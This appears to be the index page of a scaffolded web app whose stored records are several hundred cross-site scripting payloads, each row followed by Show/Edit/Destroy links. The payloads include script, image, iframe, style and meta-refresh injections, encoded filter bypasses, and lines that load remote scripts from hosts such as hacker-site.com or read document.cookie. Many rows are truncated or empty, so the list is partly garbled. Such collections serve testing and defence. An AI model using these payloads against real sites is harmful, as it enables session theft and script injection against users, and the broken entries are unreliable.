| exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'> |
Show |
Edit |
Destroy |
| <STYLE TYPE="text/javascript">alert('XSS');</STYLE> |
Show |
Edit |
Destroy |
| <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> |
Show |
Edit |
Destroy |
| <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> |
Show |
Edit |
Destroy |
| <XSS STYLE="xss:expression(alert('XSS'))"> |
Show |
Edit |
Destroy |
| <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> |
Show |
Edit |
Destroy |
| <XSS STYLE="behavior: url(xss.htc);"> |
Show |
Edit |
Destroy |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> |
Show |
Edit |
Destroy |
| <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| ¼script¾alert(¢XSS¢)¼/script¾ |
Show |
Edit |
Destroy |
| <IFRAME SRC="javascript:alert('XSS');"></IFRAME> |
Show |
Edit |
Destroy |
| <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME> |
Show |
Edit |
Destroy |
| <TABLE><TD BACKGROUND="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <TABLE BACKGROUND="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> |
Show |
Edit |
Destroy |
| <DIV STYLE="background-image: url(javascript:alert('XSS'))"> |
Show |
Edit |
Destroy |
| <DIV STYLE="width: expression(alert('XSS'));"> |
Show |
Edit |
Destroy |
| <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> |
Show |
Edit |
Destroy |
| <DIV STYLE="background-image: url( |
Show |
Edit |
Destroy |
| <BASE HREF="javascript:alert('XSS');//"> |
Show |
Edit |
Destroy |
| <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> |
Show |
Edit |
Destroy |
| <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> |
Show |
Edit |
Destroy |
| <? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?> |
Show |
Edit |
Destroy |
| <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"--> |
Show |
Edit |
Destroy |
| <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> |
Show |
Edit |
Destroy |
| <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> |
Show |
Edit |
Destroy |
| <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| Redirect 302 /a.jpg http://victimsite.com/admin.asp |
Show |
Edit |
Destroy |
| <SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD> ADw-SCRIPT AD4-alert('XSS'); ADw-/SCRIPT AD4- |
Show |
Edit |
Destroy |
| <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <A HREF="http://66.102.7.147/">XSS</A> |
Show |
Edit |
Destroy |
| <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <A HREF="http://www.google.com">XSS</A> |
Show |
Edit |
Destroy |
| <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> |
Show |
Edit |
Destroy |
| <A HREF="http://0102.0146.0007.00000223/">XSS</A> |
Show |
Edit |
Destroy |
| <A HREF="http://1113982867/">XSS</A> |
Show |
Edit |
Destroy |
| <A HREF="htt p://6 6.000146.0x7.147/">XSS</A> |
Show |
Edit |
Destroy |
| <iframe src=" |
Show |
Edit |
Destroy |
| <form><isindex formaction="javascript |
Show |
Edit |
Destroy |
| <svg><style>{font-family |
Show |
Edit |
Destroy |
| <img/src=`` onerror=this.onerror=confirm(1) |
Show |
Edit |
Destroy |
| <img src=`` |
Show |
Edit |
Destroy |
| <input/onmouseover="javaSCRIPT |
Show |
Edit |
Destroy |
| <sVg><scRipt >alert |
Show |
Edit |
Destroy |
| <ScRipT 5-0*3 9/3=>prompt(1)</ScRipT giveanswerhere=? |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <iframe/src="data:text/html,<svg |
Show |
Edit |
Destroy |
| <script/ |
Show |
Edit |
Destroy |
| <iframe/src="data:text/html; |
Show |
Edit |
Destroy |
| <script /**/>/**/alert(1)/**/</script /**/ |
Show |
Edit |
Destroy |
| <meta content=" |
Show |
Edit |
Destroy |
| <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera} |
Show |
Edit |
Destroy |
| <svg><script xlink:href=data |
Show |
Edit |
Destroy |
| <meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> |
Show |
Edit |
Destroy |
| <iframe src=javascript |
Show |
Edit |
Destroy |
| <form><a href="javascript:\u0061lert |
Show |
Edit |
Destroy |
| </script><img/*/src="worksinchrome |
Show |
Edit |
Destroy |
| <a href="data:application/x-x509-user-cert; |
Show |
Edit |
Destroy |
| http://www.google<script .com>alert(document.location)</script |
Show |
Edit |
Destroy |
| <img/ |
Show |
Edit |
Destroy |
| <form><iframe |
Show |
Edit |
Destroy |
| <img/src=@ |
Show |
Edit |
Destroy |
| <a |
Show |
Edit |
Destroy |
| <style/onload=prompt |
Show |
Edit |
Destroy |
| </style |
Show |
Edit |
Destroy |
| <script ^__^>alert(String.fromCharCode(49))</script ^__^ |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/ |
Show |
Edit |
Destroy |
| <form><textarea |
Show |
Edit |
Destroy |
| <iframe srcdoc=' |
Show |
Edit |
Destroy |
| <a href="javascript:void(0)" onmouseover= |
Show |
Edit |
Destroy |
| <style/onload= |
Show |
Edit |
Destroy |
| <///style///><span / onmousemove='alert |
Show |
Edit |
Destroy |
| <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover= |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <marquee onstart='javascript:alert |
Show |
Edit |
Destroy |
| //<form/action=javascript |
Show |
Edit |
Destroy |
| /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/> |
Show |
Edit |
Destroy |
| //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\ |
Show |
Edit |
Destroy |
| <iframe// src=javaSCRIPT |
Show |
Edit |
Destroy |
| <div/style="width:expression(confirm(1))">X</div> {IE7} |
Show |
Edit |
Destroy |
| </font>/<svg><style>{src |
Show |
Edit |
Destroy |
| <a/href="javascript: |
Show |
Edit |
Destroy |
| </svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert |
Show |
Edit |
Destroy |
| </plaintext\></|\><plaintext/onmouseover=prompt(1) |
Show |
Edit |
Destroy |
| <a href="javascript |
Show |
Edit |
Destroy |
| <div onmouseover='alert |
Show |
Edit |
Destroy |
| <a href="jAvAsCrIpT |
Show |
Edit |
Destroy |
| <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> |
Show |
Edit |
Destroy |
| <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> |
Show |
Edit |
Destroy |
| <var onmouseover="prompt(1)">On Mouse Over</var> |
Show |
Edit |
Destroy |
| <img src="/" =_=" title="onerror='prompt(1)'"> |
Show |
Edit |
Destroy |
| <a href=javascript |
Show |
Edit |
Destroy |
| <iframe/src \/\/onload = prompt(1) |
Show |
Edit |
Destroy |
| <iframe/onreadystatechange=alert(1) |
Show |
Edit |
Destroy |
| <script src="data:text/javascript,alert(1)"></script> |
Show |
Edit |
Destroy |
| <input value=<><iframe/src=javascript:confirm(1) |
Show |
Edit |
Destroy |
| <svg/onload=alert(1) |
Show |
Edit |
Destroy |
| <img src=`xx:xx`onerror=alert(1)> |
Show |
Edit |
Destroy |
| <input type="text" value=`` <div/onmouseover='alert(1)'>X</div> |
Show |
Edit |
Destroy |
| <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object> |
Show |
Edit |
Destroy |
| <iframe src=j |
Show |
Edit |
Destroy |
| <meta http-equiv="refresh" content="0;javascript |
Show |
Edit |
Destroy |
| <math><a xlink:href="//jsfiddle.net/t846h/">click |
Show |
Edit |
Destroy |
| <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always> |
Show |
Edit |
Destroy |
| <svg contentScriptType=text/vbs><script>MsgBox 1 |
Show |
Edit |
Destroy |
| <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE> |
Show |
Edit |
Destroy |
| <script/src="data |
Show |
Edit |
Destroy |
| <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U |
Show |
Edit |
Destroy |
| <a href="data:text/html;base64_,<svg/onload=\u0061 |
Show |
Edit |
Destroy |
| <script/src=data |
Show |
Edit |
Destroy |
| <script> - -1- - alert(1)</script> |
Show |
Edit |
Destroy |
| <body/onload= |
Show |
Edit |
Destroy |
| <object data=javascript |
Show |
Edit |
Destroy |
| <script itworksinallbrowsers>/*<script* */alert(1)</script |
Show |
Edit |
Destroy |
| <svg><script>// |
Show |
Edit |
Destroy |
| <img src ?itworksonchrome?\/onerror = alert(1) |
Show |
Edit |
Destroy |
| <svg><script onlypossibleinopera:-)> alert(1) |
Show |
Edit |
Destroy |
| <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j |
Show |
Edit |
Destroy |
| <--`<img/src=` onerror=alert(1)> --!> |
Show |
Edit |
Destroy |
| <div/onmouseover='alert(1)'> style="x:"> |
Show |
Edit |
Destroy |
| <script x> alert(1) </script 1=2 |
Show |
Edit |
Destroy |
| <script/src= |
Show |
Edit |
Destroy |
| <form><button formaction=javascript |
Show |
Edit |
Destroy |
| <math><a xlink:href="//jsfiddle.net/t846h/">click |
Show |
Edit |
Destroy |
| <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik ></object> |
Show |
Edit |
Destroy |
| "><img src=x onerror=window.open('https://www.google.com/');> |
Show |
Edit |
Destroy |
| <iframe src="data:text/html,<script>alert(1)</script>"></iframe> |
Show |
Edit |
Destroy |
| <a href="data:text/html;blabla, |
Show |
Edit |
Destroy |
| '';!--"<XSS>= |
Show |
Edit |
Destroy |
| '>//\\,<'>">">"*" |
Show |
Edit |
Destroy |
| '); alert('XSS |
Show |
Edit |
Destroy |
| <IMG SRC="javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <script>alert('XSS');</script> |
Show |
Edit |
Destroy |
| <script>alert(1);</script> |
Show |
Edit |
Destroy |
| <IMG SRC=javascript:alert('XSS')> |
Show |
Edit |
Destroy |
| <IMG SRC=javascript:alert( |
Show |
Edit |
Destroy |
| <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> |
Show |
Edit |
Destroy |
| <IMG SRC=javascript:alert('XSS')> |
Show |
Edit |
Destroy |
| <scr<script>ipt>alert('XSS');</scr</script>ipt> |
Show |
Edit |
Destroy |
| <script>alert(String.fromCharCode(88,83,83))</script> |
Show |
Edit |
Destroy |
| <img src=foo.png onerror=alert(/xssed/) /> |
Show |
Edit |
Destroy |
| <style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style> |
Show |
Edit |
Destroy |
| <? echo('<scr)'; echo('ipt>alert(\"XSS\")</script>'); ?> |
Show |
Edit |
Destroy |
| <marquee><script>alert('XSS')</script></marquee> |
Show |
Edit |
Destroy |
| <IMG SRC=\"jav |
Show |
Edit |
Destroy |
| <IMG SRC=\"jav |
Show |
Edit |
Destroy |
| <IMG SRC=\"jav |
Show |
Edit |
Destroy |
| <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> |
Show |
Edit |
Destroy |
| "><script>alert(0)</script> |
Show |
Edit |
Destroy |
| </title><script>alert(/xss/)</script> |
Show |
Edit |
Destroy |
| <script src=http://yoursite.com/your_files.js></script> |
Show |
Edit |
Destroy |
| </textarea><script>alert(/xss/)</script> |
Show |
Edit |
Destroy |
| <font style='color:expression(alert(document.cookie))'> |
Show |
Edit |
Destroy |
| <IMG LOWSRC=\"javascript:alert('XSS')\"> |
Show |
Edit |
Destroy |
| <IMG DYNSRC=\"javascript:alert('XSS')\"> |
Show |
Edit |
Destroy |
| <img src="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <script language="JavaScript">alert('XSS')</script> |
Show |
Edit |
Destroy |
| <body onunload="javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <body onLoad="alert('XSS');" |
Show |
Edit |
Destroy |
| [color=red' onmouseover="alert('xss')"]mouse over[/color] |
Show |
Edit |
Destroy |
| "/></a></><img src=1.gif onerror=alert(1)> |
Show |
Edit |
Destroy |
| <div style="x:expression((window.r==1)?'':eval('r=1; |
Show |
Edit |
Destroy |
| window.alert("Bonjour !"); |
Show |
Edit |
Destroy |
| alert(String.fromCharCode(88,83,83));'))"> |
Show |
Edit |
Destroy |
| <iframe<?php echo chr(11)?> onload=alert('XSS')></iframe> |
Show |
Edit |
Destroy |
| '>><marquee><h1>XSS</h1></marquee> |
Show |
Edit |
Destroy |
| "><script alert(String.fromCharCode(88,83,83))</script> |
Show |
Edit |
Destroy |
| '">><script>alert('XSS')</script> |
Show |
Edit |
Destroy |
| '">><marquee><h1>XSS</h1></marquee> |
Show |
Edit |
Destroy |
| <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\"> |
Show |
Edit |
Destroy |
| <META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\"> |
Show |
Edit |
Destroy |
| <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> |
Show |
Edit |
Destroy |
| <?='<SCRIPT>alert("XSS")</SCRIPT>'?> |
Show |
Edit |
Destroy |
| <script>var var = 1; alert(var)</script> |
Show |
Edit |
Destroy |
| <IMG SRC='vbscript:msgbox(\"XSS\")'> |
Show |
Edit |
Destroy |
| <STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS |
Show |
Edit |
Destroy |
| perl -e 'print \"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>\";' > out |
Show |
Edit |
Destroy |
| " onfocus=alert(document.domain) "> <" |
Show |
Edit |
Destroy |
| <FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET> |
Show |
Edit |
Destroy |
| perl -e 'print \"<IMG SRC=java\0script:alert(\"XSS\")>\";' > out |
Show |
Edit |
Destroy |
| <br size=\" |
Show |
Edit |
Destroy |
| </br style=a:expression(alert())> |
Show |
Edit |
Destroy |
| </script><script>alert(1)</script> |
Show |
Edit |
Destroy |
| <scrscriptipt>alert(1)</scrscriptipt> |
Show |
Edit |
Destroy |
| [color=red width=expression(alert(123))][color] |
Show |
Edit |
Destroy |
| <BASE HREF="javascript:alert('XSS');//"> |
Show |
Edit |
Destroy |
| Execute(MsgBox(chr(88) |
Show |
Edit |
Destroy |
| "></iframe><script>alert(123)</script> |
Show |
Edit |
Destroy |
| <body onLoad="while(true) alert('XSS');"> |
Show |
Edit |
Destroy |
| '"></title><script>alert(1111)</script> |
Show |
Edit |
Destroy |
| </script></script><<<<script><>>>><<<script>alert(123)</script> |
Show |
Edit |
Destroy |
| </textarea>'"><script>alert(document.cookie)</script> |
Show |
Edit |
Destroy |
| '""><script language="JavaScript"> alert('X \nS \nS');</script> |
Show |
Edit |
Destroy |
| <html><noalert><noscript>(123)</noscript><script>(123)</script> |
Show |
Edit |
Destroy |
| <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| '></select><script>alert(123)</script> |
Show |
Edit |
Destroy |
| '>"><script src = 'http://www.site.com/XSS.js'></script> |
Show |
Edit |
Destroy |
| }</style><script>a=eval;b=alert;a(b(/XSS/.source));</script> |
Show |
Edit |
Destroy |
| <SCRIPT>document.write("XSS");</SCRIPT> |
Show |
Edit |
Destroy |
| a="get";b="URL";c="javascript:";d="alert('xss');";eval(a b c d); |
Show |
Edit |
Destroy |
| <script src=">" src="http://yoursite.com/xss.js?69,69"></script> |
Show |
Edit |
Destroy |
| <body background=javascript:'"><script>alert(navigator.userAgent)</script>></body> |
Show |
Edit |
Destroy |
| ">/XaDoS/><script>alert(document.cookie)</script><script src="http://www.site.com/XSS.js"></script> |
Show |
Edit |
Destroy |
| ='><script>alert("xss")</script> |
Show |
Edit |
Destroy |
| ">/KinG-InFeT.NeT/><script>alert(document.cookie)</script> |
Show |
Edit |
Destroy |
| src="http://www.site.com/XSS.js"></script> |
Show |
Edit |
Destroy |
| !--" /><script>alert('xss');</script> |
Show |
Edit |
Destroy |
| data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ YWxlcnQoMTMzNyk8L3NjcmlwdD4= |
Show |
Edit |
Destroy |
| <script>alert("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee> |
Show |
Edit |
Destroy |
| "><script>alert("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee> |
Show |
Edit |
Destroy |
| <img """><script>alert("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee> |
Show |
Edit |
Destroy |
| '"></title><script>alert("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee> |
Show |
Edit |
Destroy |
| <script>alert(1337)</script><marquee><h1>XSS by xss</h1></marquee> |
Show |
Edit |
Destroy |
| "><script>alert(1337)</script>"><script>alert("XSS by \nxss</h1></marquee> |
Show |
Edit |
Destroy |
| '"></title><script>alert(1337)</script>><marquee><h1>XSS by xss</h1></marquee> |
Show |
Edit |
Destroy |
| '><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt=' |
Show |
Edit |
Destroy |
| "><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt=" |
Show |
Edit |
Destroy |
| \'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt=\' |
Show |
Edit |
Destroy |
| <iframe src="javascript:alert('XSS by \nxss');"></iframe><marquee><h1>XSS by xss</h1></marquee> |
Show |
Edit |
Destroy |
| http://www.simpatie.ro/index.php?page=friends |
Show |
Edit |
Destroy |
| http://www.simpatie.ro/index.php?page=top_movies |
Show |
Edit |
Destroy |
| '); alert('xss'); var x=' |
Show |
Edit |
Destroy |
| >"><ScRiPt
>alert(561177485777);</ScRiPt> |
Show |
Edit |
Destroy |
| //--></SCRIPT><SCRIPT>alert(String.fromCharCode(88,83,83)); |
Show |
Edit |
Destroy |
| \\'); alert(\'xss\');var x=\' |
Show |
Edit |
Destroy |
| <SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT> |
Show |
Edit |
Destroy |
| </html> |
Show |
Edit |
Destroy |
| <SCRIPT> alert(“XSS”); </SCRIPT> |
Show |
Edit |
Destroy |
| </body> |
Show |
Edit |
Destroy |
| <BODY ONLOAD=alert("XSS")> |
Show |
Edit |
Destroy |
| <BODY BACKGROUND="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <IMG SRC="javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <IFRAME SRC=”http://hacker-site.com/xss.html”> |
Show |
Edit |
Destroy |
| <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <IMG DYNSRC="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <IMG LOWSRC="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <TABLE BACKGROUND="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <DIV STYLE="background-image: url(javascript:alert('XSS'))"> |
Show |
Edit |
Destroy |
| <TD BACKGROUND="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <DIV STYLE="width: expression(alert('XSS'));"> |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <EMBED SRC="http://hacker.com/xss.swf" AllowScriptAccess="always"> |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/xss.html"> |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| Redirect 302 /a.jpg http://victimsite.com/admin.asp |
Show |
Edit |
Destroy |
| exp/* |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| a= |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| \ |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| perl -e |
Show |
Edit |
Destroy |
| perl -e |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <script>document.vulnerable=true;</script> |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <img SRC="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <img SRC=" |
Show |
Edit |
Destroy |
| <img SRC="jav ascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <script <B>document.vulnerable=true;</script> |
Show |
Edit |
Destroy |
| <img SRC="javascript:document.vulnerable=true;" |
Show |
Edit |
Destroy |
| <<SCRIPT>document.vulnerable=true;//<</SCRIPT> |
Show |
Edit |
Destroy |
| <iframe src="javascript:document.vulnerable=true; < |
Show |
Edit |
Destroy |
| \";document.vulnerable=true;;// |
Show |
Edit |
Destroy |
| <script>a=/XSS/\ndocument.vulnerable=true;</script> |
Show |
Edit |
Destroy |
| <img DYNSRC="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <input TYPE="IMAGE" SRC="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <body BACKGROUND="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| </title><SCRIPT>document.vulnerable=true;</script> |
Show |
Edit |
Destroy |
| <body ONLOAD=document.vulnerable=true;> |
Show |
Edit |
Destroy |
| <img LOWSRC="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <br SIZE=" |
Show |
Edit |
Destroy |
| <LAYER SRC="javascript:document.vulnerable=true;"></LAYER> |
Show |
Edit |
Destroy |
| <bgsound SRC="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <img SRC='vbscript:document.vulnerable=true;'> |
Show |
Edit |
Destroy |
| <link REL="stylesheet" HREF="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <style>li {list-style-image: url("javascript:document.vulnerable=true;");</STYLE><UL><LI>XSS |
Show |
Edit |
Destroy |
| 1script3document.vulnerable=true;1/script3 |
Show |
Edit |
Destroy |
| <IFRAME SRC="javascript:document.vulnerable=true;"></iframe> |
Show |
Edit |
Destroy |
| <meta HTTP-EQUIV="refresh" CONTENT="0;url=javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <table BACKGROUND="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <FRAMESET><FRAME SRC="javascript:document.vulnerable=true;"></frameset> |
Show |
Edit |
Destroy |
| <meta HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <table><TD BACKGROUND="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <style>@im\port'\ja\vasc\ript:document.vulnerable=true';</style> |
Show |
Edit |
Destroy |
| <div STYLE="background-image: url( |
Show |
Edit |
Destroy |
| <img STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)"> |
Show |
Edit |
Destroy |
| <div STYLE="background-image: url(javascript:document.vulnerable=true;)"> |
Show |
Edit |
Destroy |
| <div STYLE="width: expression(document.vulnerable=true);"> |
Show |
Edit |
Destroy |
| <XSS STYLE="xss:expression(document.vulnerable=true)"> |
Show |
Edit |
Destroy |
| <style TYPE="text/javascript">document.vulnerable=true;</style> |
Show |
Edit |
Destroy |
| <style type="text/css">BODY{background:url("javascript:document.vulnerable=true")}</style> |
Show |
Edit |
Destroy |
| exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)'> |
Show |
Edit |
Destroy |
| <style>.XSS{background-image:url("javascript:document.vulnerable=true");}</STYLE><A CLASS=XSS></a> |
Show |
Edit |
Destroy |
| <!--[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]--> |
Show |
Edit |
Destroy |
| <base HREF="javascript:document.vulnerable=true;//"> |
Show |
Edit |
Destroy |
| <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true></object> |
Show |
Edit |
Destroy |
| <XML ID=I><X><C><![<IMG SRC="javas]]<![cript:document.vulnerable=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></span> |
Show |
Edit |
Destroy |
| <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:document.vulnerable=true"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></span> |
Show |
Edit |
Destroy |
